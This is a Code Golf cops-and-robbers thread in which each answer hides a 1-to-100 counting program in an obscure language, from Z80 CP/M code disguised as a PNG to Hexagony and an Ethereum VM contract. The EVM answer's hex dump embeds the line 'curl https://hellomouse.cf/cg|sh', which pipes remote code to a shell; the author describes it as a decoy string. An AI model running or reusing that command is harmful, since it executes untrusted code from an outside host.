0010010000111111000100| |1111 1000100100 +++001111 110001 0011111000 100100001 1111| |100010 011111000100100001111<-1100010011111000100 10000111 | |111 eval('\b00010011111000100100001111')-110001001--1111000-| |1001000011]1111000100111110001001000011111100 010011111000 | |10 +01>0000111 1 1 100 01001 1111 0001001 000011--1111 - | |0001001111100010010000111111000 1001111100010010000111111000| |10011[111-0 0 01001000011 11110001001111100 010 010000111| |111000 <100 1111100+010010 00 0.11111100010011111000100100 | |001111110001001111100010>0100001111110001001111100010010000 | |011000101010010101010111000000101011001]010100101010000 1010| |111111111111111111111111111111111111111111111111111111111111| +------------------------------------------------------------+ ``` This is either going to be cracked really fast or not at all. > > This had a lot of red herrings. Totallyhuman fell for the brainfuck one, which outputs every number except 1. Nhohnhehr has a valid 60 by 60 room, and it outputs in bits, but it outputs garbage. Brain-Flak has a few suspicious brackets etc... > But Whirl is the intended language. This language only cares about 1s and 0s, and since I couldn't figure out loops, I just hardcoded adding one, printing, adding one etc., 100 times. > > > [Answer] # C (8cc + ELVM), 34 bytes, [cracked](https://codegolf.stackexchange.com/a/155554/12012) by [H.PWiz](https://codegolf.stackexchange.com/users/71256/h-pwiz) ``` main(X){while(X++<100)putchar(X);} ``` This prints 100 ASCII characters. [Answer] # [Z80](https://en.wikipedia.org/wiki/Zilog_Z80) [CP/M](https://en.wikipedia.org/wiki/CP/M) [executable](https://en.wikipedia.org/wiki/Executable), 242 bytes, safe Reposted, this time with a specified output format. The code contains a... few unprintable characters, so here's the reversible `xxd`: ``` 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 00000010: 0000 000a 0000 000a 0803 0000 01cd eb0f ................ 00000020: 1900 0000 5450 4c54 451e 010e 02cd 0500 ....TPLTE....... 00000030: 212a 0134 3e65 be20 f0c7 0000 0000 0000 !*.4>e. ........ 00000040: c080 0000 c000 00ff 0000 c000 c0ff 00ff ................ 00000050: 0080 0000 8080 8080 0000 c000 00c0 c0c0 ................ 00000060: c000 00ff 00c0 c0ff 00ff ffff c0c0 ffff ................ 00000070: 00c0 ffc0 c0ff ffff ffff 0000 ffc0 8cf4 ................ 00000080: 0b00 0000 5949 4441 5408 d735 ca41 12c2 ....YIDAT..5.A.. 00000090: 300c 04c1 3d4d 1283 1209 61e4 90ff ff13 0...=M....a..... 000000a0: 4315 7be8 dac3 a877 9969 5329 63d5 ddd5 C.{....w.iS)c... 000000b0: 5eaa 4535 c22f adc9 30c5 6da1 8bb9 e327 ^.E5./..0.m....' 000000c0: 7fcb a7c6 1bdc 69a6 469c c120 51d2 67f2 ......i.F.. Q.g. 000000d0: a4be c163 de13 43bb 991d 49db f900 2114 ...c..C...I...!. 000000e0: 04cf a503 d231 0000 0000 4945 4e44 ae42 .....1....IEND.B 000000f0: 6082 `. ``` Output format: raw characters. --- This is a valid PNG, that when enlarged looks like this: [![image representation of code](https://i.stack.imgur.com/eSBM4.png)](https://i.stack.imgur.com/eSBM4.png) This image is at the same time a Piet program and a Brainloller program, thanks to the upper left pixel, which is valid in both languages. In Piet, the instruction pointer moves between regions of pixels of the same color, and the differences in the color between regions encode instructions. This means that in Piet, you can start from any color. In Brainloller, it's just the colors of the pixels that are used to encode instructions. Therefore, I chose to start from cyan, which rotates the instruction pointer clockwise in Brainloller, making this polyglot trivial. As you now know, both of these graphical programs were traps - I hoped at least one robber would state them as their guess, making it less likely that this answer will get cracked. Piet prints numbers 1 through 100, but as decimal integers, not as the raw characters specified. When I first posted this, I forgot to specify this, making it trivial. On the other hand, Brainloller starts at two. Since these are raw characters, I was hoping that someone wouldn't notice. As H.PWiz said, this should not be interpreted as a PNG. First, I wrote the programs in Piet and Brainloller, as well as the CP/M program, which looks like this: ``` loop: ld e, 1 ; system call: output a character ld c, 2 call 5 ld hl, loop + 1 ; increment the immediate byte of the first instruction inc (hl) ld a, 101 ; if it's not 101 yet, loop cp a, (hl) jr nz, loop rst 0 ; otherwise, exit ``` Then, I looked at various image formats, and I've found PNG to be the easiest to work with. A PNG consists of a magic number and a sequence of blocks. The program you see above resides in the palette block. At first I wanted to just place the palette block first, to make it easier for the execution to slide through all that nonsense, but the IHDR block has to be first. As it turns out, the image header of a 10x10 indexed PNG does not contain any instructions that write to memory or change control flow... until the CRC of the IHDR block. However, I remembered that the byte 0x01 is a 16-bit load immediate, which could help. The last byte before the CRC was an interlaced flag, so I flipped it, looked at the new checksum and concluded that this will work. I was trying many different tools to insert the program into the palette. I found in the specification, that the palette block was designed by a sane person, which means that it just lists all the colors, with one byte per channel, R G B R G B R G B. I was starting to dig through the documentation of the Python Imaging Library, when I realised that it should be possible to do this with the GUI of GIMP. I lied about the load address to the assembler program to get it the addresses embedded in it right. I grouped the bytes of the program in groups of three to get 6 color codes. In GIMP, I converted the image to indexed, created a read-write copy of its palette, converted it back to RGB, added the 6 new colors one by one then painstakingly copied all the colors at the beginning of the palette to the end and deleted the originals, because in GIMP you can't just move the colors. At the end, I converted the image to indexed again with a set palette, and after marking a few checkboxes to prevent GIMP from removing unused colors, I was done. --- To test this on an emulator: * Download [z80pack](http://www.autometer.de/unix4fun/z80pack/ftp/z80pack-1.36.tgz) * Extract the tarball ``` ~/tmp/z80$ tar xf z80pack-1.36.tgz ``` * Compile the emulator ``` ~/tmp/z80$ cd z80pack-1.36/cpmsim/srcsim ~/tmp/z80/z80pack-1.36/cpmsim/srcsim$ make -f Makefile.linux [...] ``` * Compile the support tools ``` ~/tmp/z80/z80pack-1.36/cpmsim/srcsim$ cd ../srctools ~/tmp/z80/z80pack-1.36/cpmsim/srctools$ make [...] ``` * Fire up CP/M ``` ~/tmp/z80/z80pack-1.36/cpmsim/srctools$ cd .. ~/tmp/z80/z80pack-1.36/cpmsim$ ./cpm13 ####### ##### ### ##### ### # # # # # # # # # # ## ## # # # # # # # # # # # # ##### # # ##### ##### # # # # # # # # # # # # # # # # # # # # # # # ####### ##### ### ##### ### # # Release 1.36, Copyright (C) 1987-2017 by Udo Munk CPU speed is unlimited Booting... 63K CP/M VERS. 1.3 (8080 CBIOS V1.0 FOR Z80SIM, COPYRIGHT 2014 BY UDO MUNK) A> ``` * Copy the xxd above, and in another window, convert it back to a binary file ``` ~/tmp/z80/z80pack-1.36/cpmsim/srctools$ xclip -o | xxd -r > tplq.bin ``` * Now comes the ~~hacky~~ clever part. This is the only way I could find to transfer the file to the emulated machine. First, convert it to an Intel HEX file. Because of how the receiving program works, you need to specify the load address. If you don't, it's going to overwrite some very important memory, and when saving the file, the first 256 bytes won't be written: ``` ~/tmp/z80/z80pack-1.36/cpmsim/srctools$ ./bin2hex -o 256 tplq.bin tplq.hex Input file size=242 Output file size=592 ``` * Fire up the CP/M transfer program ``` A>load tplq.com SOURCE IS READER ``` * Send the hex file to the emulator ``` ~/tmp/z80/z80pack-1.36/cpmsim/srctools$ ./send tplq.hex ``` * You'll see that `LOAD` terminated: ``` FIRST ADDRESS 0100 LAST ADDRESS 01F1 BYTES READ 00F2 RECORDS WRITTEN 02 A> ``` * You can now run the program: ``` A>tplq 123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcd A> ``` * To exit, run `BYE`: ``` A>bye INT disabled and HALT Op-Code reached at 0101 ~/tmp/z80/z80pack-1.36/cpmsim$ ``` [Answer] ## [The Powder Toy](http://powdertoy.co.uk/) Save File, 529 bytes, [cracked by tsh](https://codegolf.stackexchange.com/a/155121/77964) Fix of my last (now deleted) answer, which I missed a part of. ``` 00000000: 4f50 5331 5c04 9960 961c 0c00 425a 6839 OPS1\..`....BZh9 00000010: 3141 5926 5359 b855 1468 00c2 eaff f6ff 1AY&SY.U.h...... 00000020: 5446 0c4a 01ef 403f 2f5f 74bf f7df f040 TF.J..@?/_t....@ 00000030: 0203 0000 4050 8000 1002 0840 01bc 16a5 ....@P.....@.... 00000040: 61a2 6909 18c1 4c64 4f22 7a83 4030 08c9 a.i...LdO"z.@0.. 00000050: a323 6932 0c8f 536a 0d0a 34f4 a635 31aa .#i2..Sj..4..51. 00000060: 7a4d 0c8f 5000 0006 4681 ea00 3469 e90e zM..P...F...4i.. 00000070: 1a69 8219 0d34 c8c9 8403 4d00 6134 6993 .i...4....M.a4i. 00000080: 0008 1a09 1453 4ca0 311a 7a9a 68d3 468d .....SL.1.z.h.F. 00000090: 0003 d4c8 000d 000d 0f98 debe 75b8 487f ............u.H. 000000a0: 2256 900d a121 2107 bb12 1208 4409 e89e "V...!!.....D... 000000b0: ddeb 1f17 e331 5ead 7cec db16 65d5 6090 .....1^.|...e.`. 000000c0: 2422 b0ca cc2a 5585 c9c9 dc44 4ac0 f14d $"...*U....DJ..M 000000d0: 6076 5a40 8484 536a 953b b44b 190a 90f0 `[[email protected]](/cdn-cgi/l/email-protection).;.K.... 000000e0: 8a20 310e 95ad ca24 2d4b 0097 1a69 a919 . 1....$-K...i.. 000000f0: 8d5b 0010 0242 1c59 8981 409a ec10 9024 .[...B.Y..@....$ 00000100: 2369 e1d8 a222 53dc 8231 dc4f a891 4b0b #i..."S..1.O..K. 00000110: cf61 20d8 c1b4 4269 e25b 072d 5fb4 f1c4 .a ...Bi.[.-_... 00000120: a66b 62c8 069c ebc6 0225 9900 9852 21e9 .kb......%...R!. 00000130: d2e3 63d8 069a 7a69 124e eafc 3c5d 4028 ..c...zi.N..<]@( 00000140: dd15 6f81 0d2b 8007 816d f581 36f9 e58f ..o..+...m..6... 00000150: 8cec 30e0 0378 40f9 b52c 4a17 b999 808d ..0..x@..,J..... 00000160: d583 106f fd5e aaf5 ea8f a01b f5fc 9be5 ...o.^.......... 00000170: 8e40 e05d 3a0a 2470 964d ef31 4c17 45da .@.]:.$p.M.1L.E. 00000180: 3242 6692 251a aacc 6523 220c 73a7 7e3b 2Bf.%...e#".s.~; 00000190: cecf 635d 3cb6 08a0 7930 9566 0833 1d90 ..c]<...y0.f.3.. 000001a0: 993a 5b8a e548 b34c 3fa8 0cbe 84aa d23e .:[..H.L?......> 000001b0: 0129 c73b 1859 afa8 a984 990d cb0c db77 .).;.Y.........w 000001c0: 8fa8 df2f eda2 b779 72a7 4333 9382 0794 .../...yr.C3.... 000001d0: 1f14 2340 c199 344a 48e1 6214 85a8 82a9 ..#@..4JH.b..... 000001e0: 5f6a 5a55 6993 6395 4350 41a2 396f 3613 _jZUi.c.CPA.9o6. 000001f0: 20f1 4d52 d289 b60f 2ea1 0040 8009 08ea .MR.......@.... 00000200: e782 4084 847f 8bb9 229c 2848 5c2a 8a34 ..@.....".(H\*.4 00000210: 00 ``` Download: <https://hellomouse.cf/moonyuploads/golfmagic> Output format: Unary value drawn on the screen [Answer] # Jolf, 7 bytes, [cracked](https://codegolf.stackexchange.com/a/155273/31957) by [DevelopingDeveloper](https://codegolf.stackexchange.com/users/76365/developingdeveloper) ``` Lazy!~1 ``` Output is numbers separated by a `|`. How this works: ``` Lazy!~1 y! define a canvas (no-op) z ~1 range 1..100 La join by `|` (for building regexes) ``` [Answer] # [Hexagony](https://github.com/m-ender/hexagony), 69 bytes, [cracked](https://codegolf.stackexchange.com/a/155132) by [totallyhuman](https://codegolf.stackexchange.com/users/68615/totallyhuman) ``` #define ss "/}O'=){/'HI}-){" +1<2+3 "}@"$>!'d'/1 > ss ss {<} 1/1=2-1; ``` Output has decimal numbers followed by `f`, i.e.: ``` 1f2f3f4f5f6f7f8f9f10f11f12f13f14f15f16f17f18f19f20f21f22f23f24f25f26f27f28f29f30f31f32f33f34f35f36f37f38f39f40f41f42f43f44f45f46f47f48f49f50f51f52f53f54f55f56f57f58f59f60f61f62f63f64f65f66f67f68f69f70f71f72f73f74f75f76f77f78f79f80f81f82f83f84f85f86f87f88f89f90f91f92f93f94f95f96f97f98f99f100f ``` Real layout: ``` # d e f i n e s s " / } O ' = ) { / ' H I } - ) { " + 1 < 2 + 3 " } @ " $ > ! ' d ' / 1 > s s s s { < } 1 / 1 = 2 - 1 ; . ``` How this works (click images for larger versions): [![Initialisation](https://i.stack.imgur.com/W895O.png)](https://i.stack.imgur.com/W895O.png) In the initialisation stage, the IP passes through the `#`, rerouting to the same IP since the cell is 0, and grabs some junk letters before adding the two empty cells in front it (getting 0) and then changing to 1: [![Main loop](https://i.stack.imgur.com/1a09m.png)](https://i.stack.imgur.com/1a09m.png) After this, the IP enters the main loop. It outputs the current number with `!`, places a `d` (100) in the memory and shuffles the memory pointer around a bit, before placing an `f` in the memory and outputting it with `;`. [![Memory state 1](https://i.stack.imgur.com/CVXk2.png)](https://i.stack.imgur.com/CVXk2.png) It then moves around a bit more before subtracting the d/100 from the current number and incrementing the result, giving -98 through 0 if the number is 1 to 99 or 1 if the number is 100. Next, the IP enters a branch. [![Memory state 2](https://i.stack.imgur.com/mslWF.png)](https://i.stack.imgur.com/mslWF.png) [![Loop re-entry](https://i.stack.imgur.com/QPYuZ.png)](https://i.stack.imgur.com/QPYuZ.png) If the value of the incremented subtraction is 1, the count has reached 100 and the IP takes a weird path - we'll come back to that later. Otherwise, the IP moves the memory pointer around again before returning it to the central value and incrementing it, now pointing the opposite direction. The IP jumps over a `>` to re-enter the loop at the print stage. [![Memory state 3](https://i.stack.imgur.com/drXOU.png)](https://i.stack.imgur.com/drXOU.png) [![Finalising](https://i.stack.imgur.com/q0GUw.png)](https://i.stack.imgur.com/q0GUw.png) By the time we have printed everything, we now take the second branch. The memory looks like this: [![Memory state 4](https://i.stack.imgur.com/Xz7io.png)](https://i.stack.imgur.com/Xz7io.png) The IP goes along the gold path, altering the memory a lot, and hits the `<` where it started and bounces back, going all the way back to `#`. The memory looks like this: [![Memory state 5](https://i.stack.imgur.com/8OrM2.png)](https://i.stack.imgur.com/8OrM2.png) Since 101 is 5 mod 6, the IP switches from 0 to 5, on the grey path. More memory shuffling occurs until the IP runs into the `#` again: [![Memory state 6](https://i.stack.imgur.com/3hnRi.png)](https://i.stack.imgur.com/3hnRi.png) Since 110 is 2 mod 6, the IP switches from 5 to 2, and immediately hits the `@`, terminating. [Answer] # [Ternary](https://esolangs.org/wiki/Ternary), 310 bytes, safe First safe cop! ``` 8605981181131638734781144595329881711079549089716404558924278452713768112854113413627547471131116115809411874286965083536529893153585314407394776357097963270543699599954585373618092592593508952667137969794964363733969333908663984913514688355262631397424797028093425379100111111111111111111111021001112000120012 ``` I'm surprised this ended up safe, considering what you see if you look at the end. I got lazy during the obfuscation :P If you look at the end, you see a bunch of 1's, 2's, and 0's. That's base three—*ternary*. > > Q: Do we know any languages that use ternary? > > > A: [Ternary](https://esolangs.org/wiki/Ternary) uses ternary. > > > Ternary's spec only considers programs consisting only of the given digits, but the interpreter linked to on the Esowiki page has some strange behavior: * Consider overlapping pairs of characters of length 2 in the code. * For each of these pairs: + If they do not form a valid instruction and are not `22`, ignore them and move to the next pair. + If they *do* form a valid instruction, execute it with the semantics outlined on the wiki page, and then skip the next pair. + If they are `22`, skip the next pair. This means that only contiguous groups of `([01][012]|2[01])+` in the code actually have any significance. [Answer] # [Lost](https://github.com/Wheatwizard/Lost), 189 bytes, [cracked](https://codegolf.stackexchange.com/a/155228/76162) by [Dom Hastings](https://codegolf.stackexchange.com/users/9365/dom-hastings) ``` /@<<<<<< >>>>>>@\ v \/ v % ^^ % ? \ / ? >1+:455* * -+?^:> ?v /^^\ v? ^ \oo/ ^ ^ \!/ ______ \!/ ^ ^ v \____/ v ^ ^<<< >>>^ ``` It's going to get cracked way too easily, but I had fun making it. > > Both the bottom and the top half are pretty much useless. A much smaller program with identical output: > > ``` > > v%<@<<<<<<<<<< > ?>^< > >1+:455**-+?^: > > ``` > > > > [Answer] # [brainfuck](https://esolangs.org/wiki/brainfuck), 6348 bytes, [cracked](https://codegolf.stackexchange.com/a/155551/61563) by MD XF ``` + . : + . + . + . v + . + . + . ^ + . + . + . + . + . ; + . + . + . + . + . " " + . + . + . + . + . + . @ + . + . + . + . ( " + . + . ) + . + . + . + . + . + . + . ; + . ( + . ) + . + . + . ) + . | + . + . + . + . + . + . ^ ( + . + . + . " + . + . : : + . + . ( + . ^ + . + . | + . ( + . ^|^ + . + . ||| ) + . + . AAA + . VVV + . " + . " + . + . ; + . + . + . ) + . ) 1 + . ( + . ( + . + . ^ + . ; + . + . ; + . ) + . + . " + . + . + . ^ + . + . + . + . ; ^ + . + . ( + . ) + . + . " d + . ) + . ) + . ) + . ) ( " + . ``` Quite an easy/long one, but pretty. You even get to see the rocket move up the screen as you scroll down. Output is raw. [Answer] # [Ethereum VM](https://en.wikipedia.org/wiki/Ethereum#Virtual_Machine), 170 bytes, safe The hex-encoded program is: ``` 00000000: 6073 6068 5234 1560 0e57 6000 80fd 5b60 `s`hR4.`.W`...[` 00000010: 0180 9050 5b60 6581 60ff 1614 1515 6067 ...P[`e.`.....`g 00000020: 577f 6375 726c 2068 7474 7073 3a2f 2f68 W.curl https://h 00000030: 656c 6c6f 6d6f 7573 652e 6366 2f63 677c ellomouse.cf/cg| 00000040: 7368 8180 6001 0192 5060 4051 8082 60ff sh..`...P`@Q..`. 00000050: 1660 ff16 8152 6020 0191 5050 6040 5180 .`...R` ..PP`@Q. 00000060: 9103 90a1 6014 565b 5060 3580 6075 6000 ....`.V[P`5.`u`. 00000070: 3960 00f3 0060 6060 4052 6000 80fd 00a1 9`...```@R`..... 00000080: 6562 7a7a 7230 5820 114d ddac fde1 05a1 ebzzr0X .M...... 00000090: 3134 c615 32a1 3859 c583 7366 dba7 a339 14..2.8Y..sf...9 000000a0: 1187 d2ac ab19 9224 0029 .......$.) ``` [Its in the blockchain!](https://ropsten.etherscan.io/tx/0xfccc712af583add8347ee7164fd0519cda161b7642fc77bb32ece25f82f0e6a0#eventlog) The program emits one event per number, using a string designed to confuse that looks like a command as topic, and the number as data. [Answer] # [05AB1E](http://www.05AB1E.xyz), 5170 bytes, [cracked](https://codegolf.stackexchange.com/a/155763/71256) by [H.PWiz](https://codegolf.stackexchange.com/users/71256/h-pwiz) ``` 2̵̨̛̆̈̈́̂ͦͣ̅̐͐ͪͬͤͨ̊̊ͭ̑͛̋͏̠̰̦̥̼̟̟̀3̶̵̨̥̜̼̳̞̺̲̹̦͈̻̫͇̯̬̮͖̔̅ͮͭͨͧ̾͑ͣ̑̑̃̄̚͝5̸̸̧͖̼͚̩ͧͦ͋ͭ̐ͤͣ̄̆ͦ2̶̢̻͕̼̹̟̦̮̮͇͕̥̱͙͙̻͔̫̞̈̓̿̎ͦ͑ͩ͐̔̿̓͟͠A̴̺͍̮̠̤̫̙̜̹͎͒͂̌ͣ̊ͤͨ͂͒ͣ̉͌̄ͭ̑͟͠͡͝à̄̍̿̎ͯ̑̀̃̂ͣ̆̂̓̂ͬ̉̉͝҉̹̠̤̻s̏̓̓̃ͮ̌͋̅̎҉͈̝̩̻͡a̵̛̬̩̙͈͍̙͇͖͈͔̝̘̼̤͚ͨͣ̍̇̐ͧͥ̅̊ͥͅs̷̡̝̰̟̲͚̱̦͓͙̖̅̊̉̒̀͡A̢̛͓̜͇̻̦̮̭̣̮̱͎͒ͪ̿̇̓ͫ̍ͯ̀R̵̴̴̸̹̰̪͎̹̗̹̟̱̘͊̋̎̋̅ͫͬ͐̐͌A̸̧̝͍͍͔̣̮̾̓ͣ̓̍́ͬ͝g̨͕̣͎͕̳̟̱̭̲ͭ͛̎͆̔̃́8̶̬͓̱ͧ̄͌́̉́̀͜6̢̡͈̭̟̳̮̦̞͖̘͍̗ͩ̑̎̄̑ͮ̊̉ͯ̓̽͝8̾ͪ̉͊̑͏̤̩͈̤̣͙̭̟̳̮͎̣͈͖̖͕͕̫͠͠5̶̳̲̹̳̣̪͈̝̝̯̩̲̰̭̘̭̗ͮ́ͯ̐ͧ͑͛̇̂ͩ̓ͫͦ̔̽͐ͯ̅ͦ̕͠͠͡6̴̪͇̣͙̦͖̝̠̤̻̩̰̣͉̰̯̟͕ͯͩͮ̋̒̍ͦ̎̇ͦͮͣ̉̃͗8̷ͨͬͫ̌̀̅͊͐̇͐̚͝҉̰͔̫̤̱̦̯̟̼̝̼̣̀͡6̸̫͔̜̾̓̒̚ͅ7̀ͮ̄̊ͧ͐͗͑̾̊ͨ̚̕͞҉̣̮͙̝͔̻̯̫̥͔8̶̮̭̭̪̯͖̯̭͖̆ͣ̊ͩ̊ͨͧ͗̋̐ͧͫ̅́͘ͅ ̨̛̝̬̠̯̗͓̦ͦ̀͂̐͛̆ͬ̏̀ͣͭ͊̒͌͝3̶̧̡͇̤̩̘̦͍̜ͦͣ̋̚5̶̴̨̥̩̭̩̰̀̌̽͒̃̋ͭ́͛͠1͕̺̺̩͖̾̃̾̈̑͂ͣ̉́́́̚2͇̻͙̖̮̖̩͓͚̣̞̯̦̱̤̝͍̩̔ͪͦ̾͆͐͐͒͗ͧͦ̿͗́̓͜ͅ5ͣ̒͂̆ͦͥ̑̕҉҉̜͈̮̳̟̺̤̥̰̹̮̺̣̻̞͕̟1̢̛̃̉̔̽̊ͣͮ͋ͪ͗̆ͪͦ̐̇͑ͧ̚͘҉̛̫͕̙͕2̸̣̫̳͍͎̼̤͚̱̲͓͌̀͗̈́̓̈́̂̄ͪ̉̄̄̉̋͗ͩ̅̆͢͞͝4̴̢̺͙̺̞͕̻̥͍͆̿̄̐͒͗̈́ͫ̑ͫ̇͐͠͠ͅ2̸̛͕̩͕ͣͫ̒́6̴̵̢̘̫̟͖͙̲̲̮̣̘͈͉͖͓̮͖̊́ͬ̆̎͒ͩ̏ͨͥͧ̿̆̄͐́̏T̛͕̟̫̮̊̇̾ͦ̋̋̎̆̄͗̕͝n̴̡̤̞̣̦̱̻̰̟̻͈͈̠͇̣ͮͭ̐̎ͭ͋͛͌ͩ͡L̎ͮ̐͑ͫ̃ͪ̌͆̂̂ͯ̕̕͏̢̢͚̥̰̹̫͍̠̼̩̟̲,̨̨̘̱͚̗̖̺͓̘̼͍̘͚̹ͫ̂̏̈́ͥͬͥ̃̅͐̐͞q̨͍͕̠͍͖͇̠͉̮̭̦̜̣̼̜̩̠̓̊̀̈́̊͆̀̎̌͋̅̐͊͘͘͟͡ͅe̵̶̡̛͎̱͕͉̞̳͗ͭ̇ͪ͋̓̚͡r̨͚̘̖̝̫̳͂̈́ͣ͂ͧ͒̎ͧ̍͆̏ͪ̓ͥ̇̾̏͘ļ̴̴̝͉̪͎̊͂̾̑ͬ̐͡2̷ͯ̓̓͂̈͠҉̦̤̹̻͚̠̘̘͓̫̤͚̣̬̙͉͙̜3̸̮̝̮̰̘̰̇̿ͫͪ̑̈́ͦ̇̿̏̿ͥ͞͡5̶̲͔̣̞͚͇͒ͨ̂ͪ́̓̐̅͊͋̎͋̅́ͨ̿͟͞jͯ͂͋̉ͯͣ̃͊ͫ̋͊̊ͪͭ͏̸͠҉̝̣̬̥̻͉̖̮̫̘̤͕̭ͅģ̵͖̯̠͉̟̬̗͎͈͍̪̙̲̙͓̳͂͑̏̉͐͊ͩ̽͗̍͜͡ͅr̴̵̡̓̓̂̕͏̰̟̩̪g̶̡̢̠̲̱͚̋͊͆̂̔̑̕͜ ̂͐ͥ̇҉̬͇̥̪͝ͅ2̴̸̷̞͕̦͚̪̩̺͇̭͖̪̫ͮ̈̃ͭ̓̾̓͂͑͊ͭ́̔̍ͭ3̶̸̼̤̩̣̤̆ͤ͊̂͆͘ͅ4̋̐̍̅̐̓͂̽͊ͥ̒͆ͮ̌ͫͧ͘͟͡͠͏̠̬͚̬͕̤͇̤̣͖͇̠̰͚͙̘͎͕̥6̓̄ͥ̂ͦ̽͌͋̍̓̄̈́͑̋̎ͧ͂͘͜͝͠҉͕̼͕̮͔3͎̤͖̦̟̱̟͍̺̞̜̞̳̳̯̾͛̓̇̾̒ͫͮ͌ͩ̄̓̔̔̓ͯ̐̀̀́͘͠2̷̡̰͚͙͙̤͎̺̜̳͍̩̋̍ͫ̔ͦ̉́̎ͣ͒̈͑̽́͢͞ͅͅ6̨̯͇̼͚͇͉͈̼̩̮͍̣̖ͭ̎ͯ͑̓͆͋͑ͅ3̳͉̥̰̖͓͇̞̩̳̩͙̜͇̗̼͖ͩ͑ͫ͛͊̋̈͌̋ͯ̔͛̀͛͟͞ͅ2̆̃ͥ̓ͪ̍ͯͨ͜͝͝͏̗͍͚͕͔̝̟͚̦6̭̤͕̰̙̼͌̎̇̓̽ͤ͌ͫ̀͠ḫ̷̢͔̪͈̠͖̪̹̮̣̩͊̽̿ͭ͋̂̊̂͝e̶͕͔͍̙̟̟̱̤͓̯̪̮̠͉̖ͧͩ̋̂ͤͦͭ̽̎͗̅͊̅̽̅̀͜͞r͊̀̍ͨ̀̍̓ͤ͗ͨ̊̅͊̿̚҉̴̪͖̝̙̭̖̹͔̻̦̖̳͔5͚̻͕̪͓̹̼̎ͥ̍̈̓̇ͬ̊ͧ̏̾͑̚͘͝2̶̸̖͙̟͉̜̤͔̦͍̖͖̝͖̳̝ͦͬ̅͒ͭ͆͊́3̴̻̺̮̞̖͛̌̇ͨ̆͒̊͛ͯ͐̇6̭͙͇͇̘̭̫͖̣̲̬͕͔̜̰̽̒ͮ͑̒ͩͨ̎̒̃͛ͦͥͭ̏̇́ͅ5̴̷̙̠̙̝̭̼̥̝̼̞͉̱̟̰̠̖͚͓̑͂̿͗͑ͭͬ̒ͣ̅̓̏ͥ̅̚͜ͅ2̷̾͛̈́ͯͭ̿̏̇̒͛ͧ̀͝҉̡̯̦̜͔̱̰͓͍̲̣̳3̢̡̈́͆ͯ̚͢͜͏̖͓͖̥̻̗̭͉̤̗̗2̸̸̨͎͉̥͚̜̗̩̰̮͙̟̳ͥ̑̉̊ͤͧ͑̊̕2̃͊̓͒̂͐̏ͭ͑̅͂͂ͤ̚҉͙͈̞͖̪͓̹̰͕̹̮̰̼͎̦̪͜2̸̿͆͊́̔́҉̧̙͇͚͍̗̝̤͚̝̻̣͉̳̹͟2̡̛̗͖̟͔̳̹̭͇͕̼͉͓̙̑̌̆͑̔̒̎ ̇̈́ͯͫͫ͐̎͒͆̎̌͐̾ͧ̈́͐ͭ̆҉̬̯̳̮͖͚̭̼̱̳̪͉̥̪̞̱̘̹̖̀3̢̡̡̟̰͙͉̪̰̱̱͕̟̼͚̟̭͉͔̌ͭ͗ͨͮ̀̂́͂ͯ̔̿̈̉͜͜4̴̢͚̫͉ͥͭ͛̿́̽͛̄͐͝6̡̾͐̿̄͌̒́͜҉̶̯̩̟̼̯̰̙̝̟͕̬̳̳͖̹̱2̨̤̝̮̞̺̟̪̠̱̺̱̠̹͉͍̺̩̈ͯͬ͘͟͜ͅ3͗ͨ̅̋̆͆͌̾ͪͪ͛͆̐ͣ҉́҉̱̖̫͍̣̤̬̱̬̠̫̠̻͔̞̰6̶̢̖͕̻̾̅̔ͧͧ̇̑͗̂͊̿̓̐̍̂ͪͪ͟3̈ͨͤ͐̅̏̋ͬ̄͊̅̀ͦͭ̇ͤͩ̇̈҉͓͚̮̲̣͕͙̣͙̮̖̫̟4̵̧͙̠̱̟͐͗ͦ̓̍̎̾̈̽̆̈̈ͥ̾͗ͫ̐͠2̴͕̳̗͈̟̲͖̝̙̼̭̲̳̹̬̈́̎͂̅̆͌̇ͣ̑̏͜͞6̋͋̀͛̓ͭ̿̊͂̍ͤ̃̎̓̃̌̏҉͎̰̬̟̲͙̼̪̯͍͕̭̦4̸̢͔̱͔̖̝̪̙̼̻͍̗̟̳͔̱͑̈͒ͤͬͅ2͖̯̫̂́ͧ͆͛̄̆ͦͨͧ̅͘͢ͅ3͚̟̱̖̖̯̳̰͎͓͍̮̝͍͊͗̒́̀͞4̨̨͓͔̲̝͎̣͇̲̹ͨͨͯ͂̈ͤ̈́̈́̇̈́̀͟͠6̡̛͍̤̩͖̰̙͇͖̀̇͐̊̆̽̏̍͢͢gͨͩ̆ͮ̈ͩ̍ͩ̑̀̎̌ͭ͏̵̝̯͎̜̭̟s͉̥̥̣̗͍̭̩͍̮͉͓̲͕͍̱̗̮̟ͩ̑͋̓̂ͭͤ̉̕͞ť͍̩͚̹̠̥̥̳̩̻̦̬̤͓̞͓̄̄͒ͫ̀̽́̎ͥ̍̌̚͘͡3̷̬̝̘͍͊ͯ̈́ͮ̀̋̓ͩͧ͂̆͐̂ͤ̓ͮ̚̕͜6̷̘̖̻̤̟̗̦̼͎͕̳̥̫̘̲̥́̄̊ͪ͂̈́͐͛̓́̚̕4̶̷̛͕͇͎̲̺̤̯͈̱̹͉̮̭̳̗̤ͣ̏ͣ̾̀͠3͖̟̳͓̲͓̫̝̗̟̮̺̮̭͈̿ͬͫͣ͐̾͗ͧ̓̌̅͛́͘͟͡2̛̹͓̫̫̮̺̙̟͙̳̤̺̠̞̩̠̞͙ͩͪ̀ͬͪ͌͗̽ͣ̈́͜ͅ6̴̳̪̩͉̳͓̞̘̙̦̏ͭ̃͊ͭ͑̀̚ 